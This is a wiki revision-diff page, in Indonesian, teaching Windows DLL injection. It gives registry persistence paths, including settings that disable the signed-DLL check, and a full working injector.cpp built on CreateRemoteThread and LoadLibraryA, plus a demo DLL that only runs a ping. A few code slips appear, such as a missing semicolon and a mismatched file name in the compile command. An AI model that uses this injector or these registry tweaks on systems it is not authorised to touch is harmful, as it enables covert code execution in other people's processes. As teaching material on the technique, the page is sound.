Jump to content

DLL Injection: Difference between revisions

From Haidhi Wiki
No edit summary
No edit summary
 
(2 intermediate revisions by the same user not shown)
Line 3: Line 3:
menyusupkan file DLL yang 'jahat'. Kita dapat menggunakan serangkaian ''registry'' untuk melakukan teknik ini.  
menyusupkan file DLL yang 'jahat'. Kita dapat menggunakan serangkaian ''registry'' untuk melakukan teknik ini.  


''warning: hacking without permission is illegal''


== AppInit_DLLs ==  
== AppInit_DLLs ==  
Line 11: Line 12:
Semua DLL yang ada di registry ini akan diload ke proses yang menggunakan <code>user.dll</code>. Di Windows 8 ke atas, fitur ini mati secara default,  
Semua DLL yang ada di registry ini akan diload ke proses yang menggunakan <code>user.dll</code>. Di Windows 8 ke atas, fitur ini mati secara default,  
tetapi bisa diaktifkan lagi dengan registry tweak yang membutuhkan admin access:
tetapi bisa diaktifkan lagi dengan registry tweak yang membutuhkan admin access:
<syntaxhighlight>
<pre>
RequireSignedAppInit_DLLs = 0
RequireSignedAppInit_DLLs = 0
LoadAppInit_DLLs = 1
LoadAppInit_DLLs = 1
</syntaxhighlight>
</pre>


== AppCertDlls ==  
== AppCertDlls ==  
Line 37: Line 38:
</pre>
</pre>
Fungsi: DLL jadi shell extension di explorer.exe (biasanya buat nambah menu klik kanan).
Fungsi: DLL jadi shell extension di explorer.exe (biasanya buat nambah menu klik kanan).
= Hands-on =
Function-function yang biasa digunakan untuk DLL Injection:
*<code>OpenProcess()</code>
*<code>VirtualAllocEx()</code>
*<code>WriteProcessMemory()</code>
*<code>CreateRemoteThread()</code>
*<code>LoadLibraryA()</code>
== OpenProcess() ==
Fungsi nya untuk mengambil process dari PID target
<syntaxhighlight lang=cpp line>
/*
PID target
untuk melihat PID bisa menggunakan process informer
*/
DWORD pid = 420
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL) {
    std::cout << "Failed to open process. Error: " << GetLastError() << "\n";
    return 1;
}
std::cout << "Success! Process handle: " << hProcess << "\n";
CloseHandle(hProcess);
}
</syntaxhighlight>
== VirtualAllocEx() ==
Fungsinya untuk meng-alokasikan memori kosong di proses target, misal untuk menulis path DLL
<syntaxhighlight lang=cpp line>
const char* dllPath = "C:\\your\\path\\payload.dll";
SIZE_T dllLen = strlen(dllPath) + 1;
LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, dllLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (remoteAddr == NULL) {
    std::cout << "VirtualAllocEx failed. Error: " << GetLastError() << "\n";
} else {
    std::cout << "Memory allocated at: " << remoteAddr << "\n";
}
</syntaxhighlight>
== WriteProcessMemory() ==
Fungsinya untuk menulis DLL tadi ke proses target
<syntaxhighlight lang=cpp line>
BOOL result = WriteProcessMemory(hProcess, remoteAddr, dllPath, dllLen, NULL);
if (!result) {
    std::cout << "WriteProcessMemory failed. Error: " << GetLastError() << "\n";
} else {
    std::cout << "DLL path written to remote process memory.\n";
}
</syntaxhighlight>
== CreateRemoteThread() + LoadLibraryA ==
Tujuannya adalah untuk membuat ''remote thread'' di proses target. ''remote thread'' adalah thread yang dibuat dari proses lain, tapi dijalankan di proses target.
Contohnya kita punya program <code>injector.exe</code> yang menyuruh proses lain (misal <code>notepad.exe</code>) untuk menjalankan <code>LoadLibraryA("C:\\jahat.dll");</code>.
Tapi <code>notepad.exe</code> sendiri tidak pernah secara sadar memanggil <code>LoadLibraryA</code> — tapi kita “menyusupkan” eksekusinya lewat remote thread.
Jadi begini untuk flow nya:
*Kita punya executable (<code>.exe</code>) untuk meng-inject DLL jahat
*executable ini akan menjalankan:
**OpenProcess() → untuk mendapaatkaan handle ke proses target (misal notepad.exe)
**VirtualAllocEx() → untuk inject memori ke target
**WriteProcessMemory() → untuk menulis string path DLL
**CreateRemoteThread() → untuk menyuruh proses target menjalankan <code>LoadLibraryA(jahat.dll)</code>
apa yang dilakukan <code>LoadLibraryA(jahat.dll)</code>?
*Meload DLL jahat ke dalam proses target
*Memanggil DllMain() secara otomatis dengan DLL_PROCESS_ATTACH
Ilustrasi:
<pre>
[injector.exe]        [notepad.exe]
    |                      |
    |-- OpenProcess() ----->|
    |-- VirtualAllocEx() -->|
    |-- WriteProcessMemory->|
    |-- CreateRemoteThread->| --> LoadLibraryA("jahat.dll")
                            |
                            | --> menjalankan DllMain()
                            | --> notepad sekarang sudah terkena inject💀
</pre>
<syntaxhighlight lang=cpp line>
LPVOID loadLibraryAddr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
HANDLE hThread = CreateRemoteThread(
    hProcess,
    NULL,
    0,
    (LPTHREAD_START_ROUTINE)loadLibraryAddr,
    remoteAddr,
    0,
    NULL
);
if (hThread == NULL) {
    std::cout << "CreateRemoteThread failed. Error: " << GetLastError() << "\n";
} else {
    std::cout << "Remote thread created.\n";
    WaitForSingleObject(hThread, INFINITE); // tunggu sampai thread selesai
    CloseHandle(hThread);
}
</syntaxhighlight>
== Full Code (injector.cpp) ==
<syntaxhighlight lang=cpp line>
// injector.cpp
#include <windows.h>
#include <iostream>
#include <string>
int main(int argc, char* argv[]) {
    if (argc < 3) {
        std::cout << "Usage: injector.exe <pid> <path_to_dll>\n";
        return 1;
    }
    DWORD pid = std::stoul(argv[1]); // Konversi string ke DWORD (unsigned long)
    const char* dllPath = argv[2];
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (hProcess == NULL) {
        std::cout << "Failed to open process. Error: " << GetLastError() << "\n";
        return 1;
    }
    std::cout << "Success! Process handle: " << hProcess << "\n";
    SIZE_T dllLen = strlen(dllPath) + 1;
    LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, dllLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (remoteAddr == NULL) {
        std::cout << "VirtualAllocEx failed. Error: " << GetLastError() << "\n";
        CloseHandle(hProcess);
        return 1;
    }
    if (!WriteProcessMemory(hProcess, remoteAddr, dllPath, dllLen, NULL)) {
        std::cout << "WriteProcessMemory failed. Error: " << GetLastError() << "\n";
        VirtualFreeEx(hProcess, remoteAddr, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }
    std::cout << "DLL path written to remote process memory.\n";
    LPVOID loadLibraryAddr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    if (loadLibraryAddr == NULL) {
        std::cout << "GetProcAddress failed. Error: " << GetLastError() << "\n";
        VirtualFreeEx(hProcess, remoteAddr, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }
    HANDLE hThread = CreateRemoteThread(
        hProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)loadLibraryAddr,
        remoteAddr,
        0,
        NULL
    );
    if (hThread == NULL) {
        std::cout << "CreateRemoteThread failed. Error: " << GetLastError() << "\n";
    } else {
        std::cout << "Remote thread created.\n";
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
    }
    VirtualFreeEx(hProcess, remoteAddr, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    return 0;
}
</syntaxhighlight>
= Contoh DLL yang akan diinject (ping.cpp)=
<syntaxhighlight lang=cpp line>
// ping.cpp
#include <windows.h>
#include <cstdlib>
#include <thread>
void run_ping() {
    system("ping google.com");
}
extern "C" __declspec(dllexport)
BOOL __stdcall DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // Biar gak nge-freeze proses target, kita pake thread
        std::thread(run_ping).detach();
    }
    return TRUE;
}
</syntaxhighlight>
=== Sentuhan Akhir ===
compile ping.cpp menjadi DLL
<syntaxhighlight lang=powershell>
g++ -shared -o ping.dll dll_ping.cpp -static-libgcc -static-libstdc++
</syntaxhighlight>
compile injector.cpp
<syntaxhighlight lang=powershell>
g++ -o injector injector.cpp
</syntaxhighlight>
Sekarang buka aplikasi apa saja, contoh paling gampang adalah notepad. Setelah itu cari PID nya berapa, bisa dengan system informer. Setelah itu jalankan
<syntaxhighlight lang=powershell>
injector.exe PID ping.dll
</syntaxhighlight>
Hasil:
[[File:Dll_injection_result_system_informer.jpeg]]
[[File:Dll_injection_result_wireshark.png|1200px]]

Latest revision as of 00:45, 12 April 2025

DLL Injection adalah teknik untuk menyusupkan code ke dalam proses lain di Windows dengan cara menyisipkan file DLL ke proses target. Windows memang memberikan fitur ini untuk tujuan keamanan, sandboxing, dan juga pemrosesan grafik. Tetapi bisa juga disalahgunakan untuk menyusupkan file DLL yang 'jahat'. Kita dapat menggunakan serangkaian registry untuk melakukan teknik ini.

warning: hacking without permission is illegal

AppInit_DLLs

Path: 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

Semua DLL yang ada di registry ini akan diload ke proses yang menggunakan user.dll. Di Windows 8 ke atas, fitur ini mati secara default, tetapi bisa diaktifkan lagi dengan registry tweak yang membutuhkan admin access:

RequireSignedAppInit_DLLs = 0
LoadAppInit_DLLs = 1

AppCertDlls

Path: 
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls

Semua DLL yang ada di registry ini akan diload ke proses yang membuat PROSES BARU. Contoh: kita akan membuat sebuah proses ketika membuka cmd. Jika kita menulis perintah notepad, maka cmd akan membuat proses baru lagi untuk notepad.

Function-function yang digunakan untuk me-load DLL yang berada di registry ini:

  • CreateProcess
  • CreateProcessAsUser
  • CreateProcessWithLogonW
  • CreateProcessWithTokenW
  • WinExec

ContextMenuHandlers

Path: 
HKEY_CURRENT_USER\Software\Classes\<AppName>\shellex\ContextMenuHandlers

Fungsi: DLL jadi shell extension di explorer.exe (biasanya buat nambah menu klik kanan).


Hands-on

Function-function yang biasa digunakan untuk DLL Injection:

  • OpenProcess()
  • VirtualAllocEx()
  • WriteProcessMemory()
  • CreateRemoteThread()
  • LoadLibraryA()

OpenProcess()

Fungsi nya untuk mengambil process dari PID target

 
/*
PID target
untuk melihat PID bisa menggunakan process informer
*/
DWORD pid = 420
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

if (hProcess == NULL) {
    std::cout << "Failed to open process. Error: " << GetLastError() << "\n";
    return 1;
}

std::cout << "Success! Process handle: " << hProcess << "\n";

CloseHandle(hProcess);
}

VirtualAllocEx()

Fungsinya untuk meng-alokasikan memori kosong di proses target, misal untuk menulis path DLL

 
const char* dllPath = "C:\\your\\path\\payload.dll";
SIZE_T dllLen = strlen(dllPath) + 1;

LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, dllLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (remoteAddr == NULL) {
    std::cout << "VirtualAllocEx failed. Error: " << GetLastError() << "\n";
} else {
    std::cout << "Memory allocated at: " << remoteAddr << "\n";
}

WriteProcessMemory()

Fungsinya untuk menulis DLL tadi ke proses target

BOOL result = WriteProcessMemory(hProcess, remoteAddr, dllPath, dllLen, NULL);
if (!result) {
    std::cout << "WriteProcessMemory failed. Error: " << GetLastError() << "\n";
} else {
    std::cout << "DLL path written to remote process memory.\n";
}

CreateRemoteThread() + LoadLibraryA

Tujuannya adalah untuk membuat remote thread di proses target. remote thread adalah thread yang dibuat dari proses lain, tapi dijalankan di proses target. Contohnya kita punya program injector.exe yang menyuruh proses lain (misal notepad.exe) untuk menjalankan LoadLibraryA("C:\\jahat.dll");. Tapi notepad.exe sendiri tidak pernah secara sadar memanggil LoadLibraryA — tapi kita “menyusupkan” eksekusinya lewat remote thread.

Jadi begini untuk flow nya:

  • Kita punya executable (.exe) untuk meng-inject DLL jahat
  • executable ini akan menjalankan:
    • OpenProcess() → untuk mendapaatkaan handle ke proses target (misal notepad.exe)
    • VirtualAllocEx() → untuk inject memori ke target
    • WriteProcessMemory() → untuk menulis string path DLL
    • CreateRemoteThread() → untuk menyuruh proses target menjalankan LoadLibraryA(jahat.dll)

apa yang dilakukan LoadLibraryA(jahat.dll)?

  • Meload DLL jahat ke dalam proses target
  • Memanggil DllMain() secara otomatis dengan DLL_PROCESS_ATTACH

Ilustrasi:

[injector.exe]         [notepad.exe]
     |                       |
     |-- OpenProcess() ----->|
     |-- VirtualAllocEx() -->|
     |-- WriteProcessMemory->|
     |-- CreateRemoteThread->| --> LoadLibraryA("jahat.dll")
                             |
                             | --> menjalankan DllMain()
                             | --> notepad sekarang sudah terkena inject💀
LPVOID loadLibraryAddr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

HANDLE hThread = CreateRemoteThread(
    hProcess,
    NULL,
    0,
    (LPTHREAD_START_ROUTINE)loadLibraryAddr,
    remoteAddr,
    0,
    NULL
);

if (hThread == NULL) {
    std::cout << "CreateRemoteThread failed. Error: " << GetLastError() << "\n";
} else {
    std::cout << "Remote thread created.\n";
    WaitForSingleObject(hThread, INFINITE); // tunggu sampai thread selesai
    CloseHandle(hThread);
}


Full Code (injector.cpp)

// injector.cpp
#include <windows.h>
#include <iostream>
#include <string>

int main(int argc, char* argv[]) {
    if (argc < 3) {
        std::cout << "Usage: injector.exe <pid> <path_to_dll>\n";
        return 1;
    }

    DWORD pid = std::stoul(argv[1]); // Konversi string ke DWORD (unsigned long)
    const char* dllPath = argv[2];

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (hProcess == NULL) {
        std::cout << "Failed to open process. Error: " << GetLastError() << "\n";
        return 1;
    }

    std::cout << "Success! Process handle: " << hProcess << "\n";

    SIZE_T dllLen = strlen(dllPath) + 1;
    LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, dllLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (remoteAddr == NULL) {
        std::cout << "VirtualAllocEx failed. Error: " << GetLastError() << "\n";
        CloseHandle(hProcess);
        return 1;
    }

    if (!WriteProcessMemory(hProcess, remoteAddr, dllPath, dllLen, NULL)) {
        std::cout << "WriteProcessMemory failed. Error: " << GetLastError() << "\n";
        VirtualFreeEx(hProcess, remoteAddr, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

    std::cout << "DLL path written to remote process memory.\n";

    LPVOID loadLibraryAddr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    if (loadLibraryAddr == NULL) {
        std::cout << "GetProcAddress failed. Error: " << GetLastError() << "\n";
        VirtualFreeEx(hProcess, remoteAddr, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

    HANDLE hThread = CreateRemoteThread(
        hProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)loadLibraryAddr,
        remoteAddr,
        0,
        NULL
    );

    if (hThread == NULL) {
        std::cout << "CreateRemoteThread failed. Error: " << GetLastError() << "\n";
    } else {
        std::cout << "Remote thread created.\n";
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
    }

    VirtualFreeEx(hProcess, remoteAddr, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    return 0;
}

Contoh DLL yang akan diinject (ping.cpp)

 
// ping.cpp
#include <windows.h>
#include <cstdlib>
#include <thread>


void run_ping() {
    system("ping google.com");
}

extern "C" __declspec(dllexport)
BOOL __stdcall DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // Biar gak nge-freeze proses target, kita pake thread
        std::thread(run_ping).detach();
    }
    return TRUE;
}


Sentuhan Akhir

compile ping.cpp menjadi DLL

g++ -shared -o ping.dll dll_ping.cpp -static-libgcc -static-libstdc++

compile injector.cpp

g++ -o injector injector.cpp

Sekarang buka aplikasi apa saja, contoh paling gampang adalah notepad. Setelah itu cari PID nya berapa, bisa dengan system informer. Setelah itu jalankan

injector.exe PID ping.dll

Hasil: